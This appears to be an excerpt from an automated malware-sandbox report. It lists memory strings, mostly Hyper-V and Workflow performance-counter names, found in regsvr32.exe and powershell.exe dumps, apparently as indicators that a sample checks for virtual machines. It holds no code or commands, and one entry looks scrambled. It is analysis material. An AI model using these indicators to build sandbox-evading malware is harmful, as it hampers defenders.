Source: regsvr32.exe, 00000007.00000003.1744337012.0000000004177000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switche
Source: regsvr32.exe, 0000000E.00000003.1916940382.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1917236724.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Acce
Source: powershell.exe, 00000011.00000002.2009636665.0000000007862000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partition
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipesh
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V mqabcqtdeleiepv Busw
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor\X
Source: regsvr32.exe, 0000000E.00000003.1943302476.0000000002D60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionll
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partitionl
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus PipesZ
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: regsvr32.exe, 0000000E.00000003.1917333141.0000000002D49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost_
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: regsvr32.exe, 00000007.00000003.1733544491.0000000002890000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1741891317.0000000002890000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1743831001.0000000002890000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1739588798.0000000002890000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1728667072.0000000002890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824I
Source: regsvr32.exe, 00000007.00000003.1759503664.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758105092.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758205297.000000000418C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot&
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionll6
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid PartitionT
Source: regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2025223425.0000000002C8B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration ServiceZ
Source: regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipess
Source: regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus PipesB
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V mqabcqtdeleiepv BusF
Source: regsvr32.exe, 0000000E.00000003.1943264950.00000000046B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost_
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processorh
